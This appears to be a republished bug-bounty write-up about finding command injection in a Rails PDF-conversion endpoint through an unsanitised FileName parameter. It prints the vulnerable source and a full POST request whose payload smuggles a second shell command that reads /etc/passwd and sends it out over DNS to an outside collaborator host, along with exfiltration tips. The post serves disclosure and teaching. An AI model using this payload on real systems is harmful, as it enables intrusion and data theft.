Basic recon to RCE III

Basic recon to RCE III

For the 3rd and I think last episode of the series, we’re going to continue with the same target as the episode 2, that I recommend you to go and see at first to put you a bit more in the context : Basic recon to RCE II

The Story

So, after this first RCE discovered on the application, I wanted to continue to dig, especially because this debug mode displays a POST method on the endpoint /convertdoctopdf. So I immediately thought about a SSRF and as it’s a bug that I like quite a lot, I wanted to dig it.

Another advantage of the debug mode (on Rails and maybe with other frameworks) is that if the application raises an exception, it will show you the part of the source code concerned in the response, which is pretty handy when you don’t know which parameter you should use !

After a first POST request without body, the application displays an error 500 with the piece of code that concerns the error, which tells us that the SessionId parameter is missing. I spare you the details but this technique allowed me to obtain the complete code of the method :

def convertdoctopdf
  header = {'Content-Type' =>'application/json','Authorization' => 'OAuth '+params['SessionId']}
  id = params['AttachmentId']
  baseURL = params['Url']
  fileName = params['FileName'] ? params['FileName']+(Time.now.to_i).to_s : 'fileconvert'+(Time.now.to_i).to_s
  uri = URI.parse(baseURL+"/services/data/v44.0/sobjects/Attachment/"+id+"/Body")
  
  https = Net::HTTP.new(uri.host,uri.port)
  https.use_ssl = true
  req = Net::HTTP::Get.new(uri.path, header)
  attachment = https.request(req)

  File.open("#{Rails.root}/public/#{fileName+'.docx'}", 'wb') { |f| f.write(attachment.body) }
  %x(/usr/bin/soffice --headless --convert-to pdf --outdir  "#{Rails.root}/public/file_conversion/" "#{Rails.root}/public/#{fileName+'.docx'}")

  outputfileBase64 = Base64.encode64(open("#{Rails.root}/public/file_conversion/#{fileName}.pdf").to_a.join);
 
  File.delete("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}") if File.exist?("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}")
  File.delete("#{Rails.root}/public/#{fileName+'.docx'}") if File.exist?("#{Rails.root}/public/#{fileName+'.docx'}")
 
  render json: {file: outputfileBase64}, status: :created, location: "Done"
end

Which can be described as follows:

  • header = Expects the SessionID parameter but is not important here, you can put anything
  • id = Waits for the AttachmentId parameter but is not important either, you can put anything too
  • baseUrl = Waits for the url parameter, just enter a valid URL
  • fileName = There is a ternary condition that makes it an optional parameter
  • Then a GET request is made, the content is saved to a file, converted to PDF and displayed to the user in base64

I had first stopped after leaking the HTTP request line thinking that was all I needed to trigger my SSRF. Except:

  • A GET request is made on the URL + path /services/data/v44.0/sobjects/Attachment/"+id+"/Body" but that can be easily bypassed by specifying a URL of type https://domain.tld/?x=, the path will then be forced as the parameter value.
    • The URL will become: https://domain.tld/?x=/services/data/v44.0/sobjects/Attachment/"+id+"/Body"
  • https.use_ssl = true which is the blocking point because it forces the use of HTTPS

Going back to our source code, I was saying that the body of the response is saved in a file (with the extension docx but in fact it doesn’t matter, it’s not a real docx but rather a simple text file) and then the soffice binary is called and converts this file into a PDF and displays the content of the PDF in base64 in the response. Something I didn’t know yet because I was too focused on the SSRF and I could see in the return of my request in the answer and I didn’t try to understand the cause.

I spent a few hours on the SSRF without being able to exploit it because :

  • The use of HTTPS prevents me from typing on internal URLs such as http://127.0.0.1
  • The target must have a valid certificate
  • For some reason I couldn’t query a target using a let’s encrypt certificate…

Anyway, after these blocking points, to try to inject some code in my PDF I used a Github repository on which I uploaded my PoC then I used the RAW URL (like https://raw.githubusercontent.com/user/poc/master/poc.html) to inject the content in the PDF. Unfortunately after many tries, the only tag that seemed to be interpreted was the </code> tag, the others were either deleted or not interpreted.</p> <p>A little disappointed at the time, I gave up because I had other things to do.<br /> That same day I spent the evening with my hunter friend Serizao, and I obviously told him my SSRF problem, we continued to dig together and to have a better overview, we recovered the complete code of the method above.</p> <p>At this moment, a line directly appealed to us.</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#e6db74">%x(/usr/bin/soffice --headless --convert-to pdf --outdir "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/file_conversion/" "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/</span><span style="color:#e6db74">#{</span>fileName<span style="color:#f92672">+</span><span style="color:#e6db74">'.docx'</span><span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span></code></pre> </div> <p>The use of <code>%x()</code> is an alternative to the use of backticks which allows you to make a system call and display the output. Like backticks, <code>%x()</code> also allows string interpolation.</p> <p>I explained above, that the FileName parameter is optional :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>fileName <span style="color:#f92672">=</span> params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]</span> ? params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s : <span style="color:#e6db74">'fileconvert'</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s </span></span></code></pre> </div> <p>Because if it is not present, it is set with a default value automatically, but if it is present, it is equivalent to the user input (and this is where the vulnerability lies). The problem is that the string interpolation allows to inject an arbitrary command to execute an additional command to the soffice binary call.</p> <p>Example to illustrate my point, inside <code>irb</code> :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">001</span> <span style="color:#f92672">></span> filename <span style="color:#f92672">=</span> <span style="color:#e6db74">'`id`'</span><span style="color:#f92672">+</span><span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i<span style="color:#f92672">.</span>to_s </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">002</span> <span style="color:#f92672">></span> <span style="color:#e6db74">%x("</span><span style="color:#e6db74">#{</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span><span style="display:flex;"><span><span style="color:#e6db74">sh</span>: uid<span style="color:#f92672">=</span><span style="color:#ae81ff">635388061</span>(jomar) <span style="color:#f92672">[...]</span><span style="color:#ae81ff">1646581930</span>: command <span style="color:#f92672">not</span> found </span></span><span style="display:flex;"><span> <span style="color:#f92672">=></span> <span style="color:#e6db74">""</span> </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">003</span> <span style="color:#f92672">></span> </span></span></code></pre> </div> <p>So we can see that the id command is executed.<br /> With the following request, it is possible to escape the call to soffice and execute an arbitrary command, to show the vulnerability, I extracted the first characters of the <code>/etc/passwd</code> file :</p> <pre tabindex="0"><code>POST /convertdoctopdf HTTP/1.1 Host: sub.target.tld User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Length: 214 Content-Type: application/json;charset=UTF-8 { "SessionId":"1", "AttachmentId":"1", "FileName": "" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #"", "Url":"https://www.google.com" } </code></pre> <p><em>Side note</em> : a domain name can be 255 characters long but a subdomain is limited to 63 characters, think about it if you do a DNS extraction</p> <p>Explanation of</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">"" && getent hosts </span><span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #" </span></span></span></code></pre> </div> <ul> <li><code>"</code> : Allows to close the parameter pass to soffice binary for the file name</li> <li><code>&&</code> : Indicates that a second command is being processed</li> <li><code>getent hosts</code> : Not having <code>curl</code>, <code>dig</code>, <code>ping</code> etc… available in the environment I used <code>getent hosts</code> to execute a DNS query</li> <li><code>$(echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d)</code> : To avoid encoding problems because of the <code>/</code> which raises an error with the File.open so, we put our command in base64 <ul> <li><code>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d => head -c 4 /etc/passwd</code>. The first 4 characters of the <code>/etc/passwd</code> file which correspond to root <ul> <li><code>9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld</code> : My private burp collaborator server</li> <li><code>#"</code> : Allows you to comment out the end of the line and the <code>"</code> to avoid a syntax error in the command</li> </ul> </li> </ul> </li> </ul> <p>In the end, the executed command will be :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/usr/bin/soffice --headless --convert-to pdf --outdir <span style="color:#e6db74">"folder/public/file_conversion/"</span> <span style="color:#e6db74">"folder/public/"</span> <span style="color:#f92672">&&</span> getent hosts <span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span>.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld <span style="color:#75715e">#".pdf").to_a.join);</span> </span></span></code></pre> </div> <h2 id="conclusion">Conclusion</h2> <p>A bug that I found super interesting and was also present for a long time. I know because I had already identified this method more than 6 months ago but I had not taken the time to dig.</p> <p>What made the difference today is something that is very well explained here: <a rel="nofollow noopener" target="_blank" href="https://twitter.com/hacker_/status/1509147518638116866">Corben Leo – Hacking CAN be easy</a>. I’ve been developing small web / api applications on my own time for several months now and I use Ruby on Rails, in addition to giving me a good knowledge of the framework, it also gives me a better vision of a developer and sometimes I do sh*t because I want to go fast or because it annoys me and if I make these mistakes, why shouldn’t others do it too ?</p> <p>But also probably because rather than going from domain to domain looking for the ugly stuff that looks vulnerable, I thought I really wanted to exploit this thing and so I spent some time on it. Which shows once again that sometimes it’s much more interesting to focus on an application and understand it than to try to find a magic domain and spread payloads around without understanding what you’re doing</p> </p></div> <p><script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script><br /> <br /><br /> <br /><a href="https://www.jomar.fr/posts/2022/basic_recon_to_rce_iii/" target="_blank" rel="noopener">Source link </a></p> </div><!-- .entry-content --> <div class="gridhot-related-posts-wrapper" id="gridhot-related-posts-wrapper"> <div class="gridhot-related-posts-header"><h3 class="gridhot-related-posts-title"><span class="gridhot-related-posts-title-inside">Related Articles</span></h3></div> <div class="gridhot-related-posts-list"> <div class="gridhot-related-post-item gridhot-4-col-item"> <div class="gridhot-related-post-item-thumbnail gridhot-related-post-item-child"> <a class="gridhot-related-post-item-title gridhot-related-post-item-thumbnail-link" href="https://cybernoz.com/fdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3/" title="Permanent Link to FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?"><img width="360" height="270" src="https://cybernoz.com/wp-content/uploads/2025/01/FDAs-New-Cybersecurity-Requirements-Are-You-Prepared-as-a-Medical-360x270.png" class="gridhot-related-post-item-thumbnail-img wp-post-image" alt="Hackerone logo" title="FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?" decoding="async" fetchpriority="high" /></a> <div class="gridhot-mini-share-buttons-wrapper"><div class="gridhot-mini-share-buttons"><i class="fas fa-share-alt" aria-hidden="true"></i><div class="gridhot-mini-share-buttons-inner gridhot-clearfix"><div class="gridhot-mini-share-buttons-content"><a class="gridhot-mini-share-button gridhot-mini-share-button-linkedin" href="https://www.linkedin.com/shareArticle?mini=true&title=FDA%26%238217%3Bs%20New%20Cybersecurity%20Requirements%3A%20Are%20You%20Prepared%20as%20a%20Medical%20Device%20Manufacturer%3F&url=https%3A%2F%2Fcybernoz.com%2Ffdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3%2F" target="_blank" rel="nofollow" aria-label="Share on Linkedin : FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?"><i class="fab fa-linkedin-in" aria-hidden="true" title="Share this on Linkedin"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-pinterest" href="https://pinterest.com/pin/create/button/?url=https%3A%2F%2Fcybernoz.com%2Ffdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3%2F&media=https://cybernoz.com/wp-content/uploads/2025/01/FDAs-New-Cybersecurity-Requirements-Are-You-Prepared-as-a-Medical.png&description=FDA%26%238217%3Bs%20New%20Cybersecurity%20Requirements%3A%20Are%20You%20Prepared%20as%20a%20Medical%20Device%20Manufacturer%3F" target="_blank" rel="nofollow" aria-label="Share on Pinterest: FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?"><i class="fab fa-pinterest" aria-hidden="true" title="Share this on Pinterest"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fcybernoz.com%2Ffdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3%2F" target="_blank" rel="nofollow" aria-label="Share on Facebook : FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?"><i class="fab fa-facebook-f" aria-hidden="true" title="Share this on Facebook"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-twitter" href="https://x.com/intent/post?text=FDA%26%238217%3Bs%20New%20Cybersecurity%20Requirements%3A%20Are%20You%20Prepared%20as%20a%20Medical%20Device%20Manufacturer%3F&url=https%3A%2F%2Fcybernoz.com%2Ffdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3%2F" target="_blank" rel="nofollow" aria-label="Share on X : FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?"><i class="fab fa-x-twitter" aria-hidden="true" title="Share this on X"></i></a></div></div></div></div> </div> <div class="gridhot-related-post-item-heading gridhot-related-post-item-child"><a class="gridhot-related-post-item-title" href="https://cybernoz.com/fdas-new-cybersecurity-requirements-are-you-prepared-as-a-medical-device-manufacturer-3/" title="Permanent Link to FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?">FDA’s New Cybersecurity Requirements: Are You Prepared as a Medical Device Manufacturer?</a></div> </div> <div class="gridhot-related-post-item gridhot-4-col-item"> <div class="gridhot-related-post-item-thumbnail gridhot-related-post-item-child"> <a class="gridhot-related-post-item-title gridhot-related-post-item-thumbnail-link" href="https://cybernoz.com/a-hackers-guide-to-online-voting-systems/" title="Permanent Link to A hackers’ guide to online voting systems"><img width="360" height="270" src="https://cybernoz.com/wp-content/uploads/2024/03/A-hackers-guide-to-online-voting-systems-360x270.png" class="gridhot-related-post-item-thumbnail-img wp-post-image" alt="A hackers’ guide to online voting systems" title="A hackers’ guide to online voting systems" decoding="async" /></a> <div class="gridhot-mini-share-buttons-wrapper"><div class="gridhot-mini-share-buttons"><i class="fas fa-share-alt" aria-hidden="true"></i><div class="gridhot-mini-share-buttons-inner gridhot-clearfix"><div class="gridhot-mini-share-buttons-content"><a class="gridhot-mini-share-button gridhot-mini-share-button-linkedin" href="https://www.linkedin.com/shareArticle?mini=true&title=A%20hackers%E2%80%99%20guide%20to%20online%20voting%20systems&url=https%3A%2F%2Fcybernoz.com%2Fa-hackers-guide-to-online-voting-systems%2F" target="_blank" rel="nofollow" aria-label="Share on Linkedin : A hackers’ guide to online voting systems"><i class="fab fa-linkedin-in" aria-hidden="true" title="Share this on Linkedin"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-pinterest" href="https://pinterest.com/pin/create/button/?url=https%3A%2F%2Fcybernoz.com%2Fa-hackers-guide-to-online-voting-systems%2F&media=https://cybernoz.com/wp-content/uploads/2024/03/A-hackers-guide-to-online-voting-systems.png&description=A%20hackers%E2%80%99%20guide%20to%20online%20voting%20systems" target="_blank" rel="nofollow" aria-label="Share on Pinterest: A hackers’ guide to online voting systems"><i class="fab fa-pinterest" aria-hidden="true" title="Share this on Pinterest"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fcybernoz.com%2Fa-hackers-guide-to-online-voting-systems%2F" target="_blank" rel="nofollow" aria-label="Share on Facebook : A hackers’ guide to online voting systems"><i class="fab fa-facebook-f" aria-hidden="true" title="Share this on Facebook"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-twitter" href="https://x.com/intent/post?text=A%20hackers%E2%80%99%20guide%20to%20online%20voting%20systems&url=https%3A%2F%2Fcybernoz.com%2Fa-hackers-guide-to-online-voting-systems%2F" target="_blank" rel="nofollow" aria-label="Share on X : A hackers’ guide to online voting systems"><i class="fab fa-x-twitter" aria-hidden="true" title="Share this on X"></i></a></div></div></div></div> </div> <div class="gridhot-related-post-item-heading gridhot-related-post-item-child"><a class="gridhot-related-post-item-title" href="https://cybernoz.com/a-hackers-guide-to-online-voting-systems/" title="Permanent Link to A hackers’ guide to online voting systems">A hackers’ guide to online voting systems</a></div> </div> <div class="gridhot-related-post-item gridhot-4-col-item"> <div class="gridhot-related-post-item-thumbnail gridhot-related-post-item-child"> <a class="gridhot-related-post-item-title gridhot-related-post-item-thumbnail-link" href="https://cybernoz.com/ron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention/" title="Permanent Link to Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention"><img width="257" height="252" src="https://cybernoz.com/wp-content/uploads/2025/04/Ron-Paul-is-Seriously-Flawed-as-a-Candidate-Were-Just.jpg" class="gridhot-related-post-item-thumbnail-img wp-post-image" alt="Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention" title="Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention" decoding="async" /></a> <div class="gridhot-mini-share-buttons-wrapper"><div class="gridhot-mini-share-buttons"><i class="fas fa-share-alt" aria-hidden="true"></i><div class="gridhot-mini-share-buttons-inner gridhot-clearfix"><div class="gridhot-mini-share-buttons-content"><a class="gridhot-mini-share-button gridhot-mini-share-button-linkedin" href="https://www.linkedin.com/shareArticle?mini=true&title=Ron%20Paul%20is%20Seriously%20Flawed%20as%20a%20Candidate%3B%20We%E2%80%99re%20Just%20So%20in%20Love%20With%20Him%20That%20We%E2%80%99re%20Not%20Paying%20Attention&url=https%3A%2F%2Fcybernoz.com%2Fron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention%2F" target="_blank" rel="nofollow" aria-label="Share on Linkedin : Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention"><i class="fab fa-linkedin-in" aria-hidden="true" title="Share this on Linkedin"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-pinterest" href="https://pinterest.com/pin/create/button/?url=https%3A%2F%2Fcybernoz.com%2Fron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention%2F&media=https://cybernoz.com/wp-content/uploads/2025/04/Ron-Paul-is-Seriously-Flawed-as-a-Candidate-Were-Just.jpg&description=Ron%20Paul%20is%20Seriously%20Flawed%20as%20a%20Candidate%3B%20We%E2%80%99re%20Just%20So%20in%20Love%20With%20Him%20That%20We%E2%80%99re%20Not%20Paying%20Attention" target="_blank" rel="nofollow" aria-label="Share on Pinterest: Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention"><i class="fab fa-pinterest" aria-hidden="true" title="Share this on Pinterest"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fcybernoz.com%2Fron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention%2F" target="_blank" rel="nofollow" aria-label="Share on Facebook : Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention"><i class="fab fa-facebook-f" aria-hidden="true" title="Share this on Facebook"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-twitter" href="https://x.com/intent/post?text=Ron%20Paul%20is%20Seriously%20Flawed%20as%20a%20Candidate%3B%20We%E2%80%99re%20Just%20So%20in%20Love%20With%20Him%20That%20We%E2%80%99re%20Not%20Paying%20Attention&url=https%3A%2F%2Fcybernoz.com%2Fron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention%2F" target="_blank" rel="nofollow" aria-label="Share on X : Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention"><i class="fab fa-x-twitter" aria-hidden="true" title="Share this on X"></i></a></div></div></div></div> </div> <div class="gridhot-related-post-item-heading gridhot-related-post-item-child"><a class="gridhot-related-post-item-title" href="https://cybernoz.com/ron-paul-is-seriously-flawed-as-a-candidate-were-just-so-in-love-with-him-that-were-not-paying-attention/" title="Permanent Link to Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention">Ron Paul is Seriously Flawed as a Candidate; We’re Just So in Love With Him That We’re Not Paying Attention</a></div> </div> <div class="gridhot-related-post-item gridhot-4-col-item"> <div class="gridhot-related-post-item-thumbnail gridhot-related-post-item-child"> <a class="gridhot-related-post-item-title gridhot-related-post-item-thumbnail-link" href="https://cybernoz.com/how-to-use-hugging-face-models-with-ollama-2/" title="Permanent Link to How to Use Hugging Face Models with Ollama"><img width="360" height="117" src="https://cybernoz.com/wp-content/uploads/2025/03/How-to-Use-Hugging-Face-Models-with-Ollama.png" class="gridhot-related-post-item-thumbnail-img wp-post-image" alt="How to Use Hugging Face Models with Ollama" title="How to Use Hugging Face Models with Ollama" decoding="async" srcset="https://cybernoz.com/wp-content/uploads/2025/03/How-to-Use-Hugging-Face-Models-with-Ollama.png 1292w, https://cybernoz.com/wp-content/uploads/2025/03/How-to-Use-Hugging-Face-Models-with-Ollama-768x250.png 768w" sizes="(max-width: 360px) 100vw, 360px" /></a> <div class="gridhot-mini-share-buttons-wrapper"><div class="gridhot-mini-share-buttons"><i class="fas fa-share-alt" aria-hidden="true"></i><div class="gridhot-mini-share-buttons-inner gridhot-clearfix"><div class="gridhot-mini-share-buttons-content"><a class="gridhot-mini-share-button gridhot-mini-share-button-linkedin" href="https://www.linkedin.com/shareArticle?mini=true&title=How%20to%20Use%20Hugging%20Face%20Models%20with%20Ollama&url=https%3A%2F%2Fcybernoz.com%2Fhow-to-use-hugging-face-models-with-ollama-2%2F" target="_blank" rel="nofollow" aria-label="Share on Linkedin : How to Use Hugging Face Models with Ollama"><i class="fab fa-linkedin-in" aria-hidden="true" title="Share this on Linkedin"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-pinterest" href="https://pinterest.com/pin/create/button/?url=https%3A%2F%2Fcybernoz.com%2Fhow-to-use-hugging-face-models-with-ollama-2%2F&media=https://cybernoz.com/wp-content/uploads/2025/03/How-to-Use-Hugging-Face-Models-with-Ollama.png&description=How%20to%20Use%20Hugging%20Face%20Models%20with%20Ollama" target="_blank" rel="nofollow" aria-label="Share on Pinterest: How to Use Hugging Face Models with Ollama"><i class="fab fa-pinterest" aria-hidden="true" title="Share this on Pinterest"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fcybernoz.com%2Fhow-to-use-hugging-face-models-with-ollama-2%2F" target="_blank" rel="nofollow" aria-label="Share on Facebook : How to Use Hugging Face Models with Ollama"><i class="fab fa-facebook-f" aria-hidden="true" title="Share this on Facebook"></i></a><a class="gridhot-mini-share-button gridhot-mini-share-button-twitter" href="https://x.com/intent/post?text=How%20to%20Use%20Hugging%20Face%20Models%20with%20Ollama&url=https%3A%2F%2Fcybernoz.com%2Fhow-to-use-hugging-face-models-with-ollama-2%2F" target="_blank" rel="nofollow" aria-label="Share on X : How to Use Hugging Face Models with Ollama"><i class="fab fa-x-twitter" aria-hidden="true" title="Share this on X"></i></a></div></div></div></div> </div> <div class="gridhot-related-post-item-heading gridhot-related-post-item-child"><a class="gridhot-related-post-item-title" href="https://cybernoz.com/how-to-use-hugging-face-models-with-ollama-2/" title="Permanent Link to How to Use Hugging Face Models with Ollama">How to Use Hugging Face Models with Ollama</a></div> </div> </div> </div> </div> </article> <nav class="navigation post-navigation" aria-label="Posts"> <h2 class="screen-reader-text">Post navigation</h2> <div class="nav-links"><div class="nav-previous"><a href="https://cybernoz.com/how-a-catholic-group-doxed-gay-priests/" rel="prev">How a Catholic Group Doxed Gay Priests →</a></div><div class="nav-next"><a href="https://cybernoz.com/batloader-malware-uses-google-ads-to-deliver-vidar-stealer-and-ursnif-payloads/" rel="next">← BATLOADER Malware Uses Google Ads to Deliver Vidar Stealer and Ursnif Payloads</a></div></div> </nav> <div class="clear"></div> </div><!--/#gridhot-posts-wrapper --> </div> </div> </div><!-- /#gridhot-main-wrapper --> <div class="gridhot-sidebar-one-wrapper gridhot-sidebar-widget-areas gridhot-clearfix" id="gridhot-sidebar-one-wrapper" itemscope="itemscope" itemtype="http://schema.org/WPSideBar" role="complementary"> <div class="theiaStickySidebar"> <div class="gridhot-sidebar-one-wrapper-inside gridhot-clearfix"> <div id="block-3" class="gridhot-side-widget widget gridhot-widget-box widget_block"><div class="gridhot-widget-box-inside"> <div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"> <h2 class="wp-block-heading">Latest Posts</h2> <ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/state-sponsored-threat-actors-abuse-gemini-ai-google-says/">State-sponsored threat actors abuse Gemini AI, Google says</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/hackers-exploit-wordpress-plugin-post-smtp-to-hijack-admin-accounts/">Hackers exploit WordPress plugin Post SMTP to hijack admin accounts</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/uniting-uses-genai-to-cut-admin-burden-for-frontline-care-workers/">Uniting uses GenAI to cut admin burden for frontline care workers</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/apple-addresses-more-than-100-vulnerabilities-in-security-updates-for-iphones-macs-and-ipads/">Apple addresses more than 100 vulnerabilities in security updates for iPhones, Macs and iPads</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://cybernoz.com/apache-openoffice-disputes-data-breach-claims-by-ransomware-gang/">Apache OpenOffice disputes data breach claims by ransomware gang</a></li> </ul></div></div> </div></div> </div> </div> </div><!-- /#gridhot-sidebar-one-wrapper--> </div> </div><!--/#gridhot-content-wrapper --> </div><!--/#gridhot-wrapper --> <div class='gridhot-clearfix' id='gridhot-copyright-area'> <div class='gridhot-copyright-area-inside gridhot-container'> <div class="gridhot-outer-wrapper"> <div class='gridhot-copyright-area-inside-content gridhot-clearfix'> <p class='gridhot-copyright'>Copyright © 2025 Cybernoz - Cybersecurity News</p> <p class='gridhot-credit'><a href="https://themesdna.com/">Design by ThemesDNA.com</a></p> </div> </div></div> </div><!--/#gridhot-copyright-area --> <button class="gridhot-scroll-top" title="Scroll to Top"><i class="fas fa-arrow-up" aria-hidden="true"></i><span class="gridhot-sr-only">Scroll to Top</span></button> <noscript> <div> <img src="https://mc.yandex.ru/watch/102510865" style="position:absolute; left:-9999px;" alt=""/> </div> </noscript> <script type="speculationrules"> {"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/gridhot-pro\/*","\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/wp-yandex-metrika/assets/contactFormSeven.min.js?ver=1.2.2" id="wp-yandex-metrika_contact-form-7-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6" id="wp-hooks-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script> 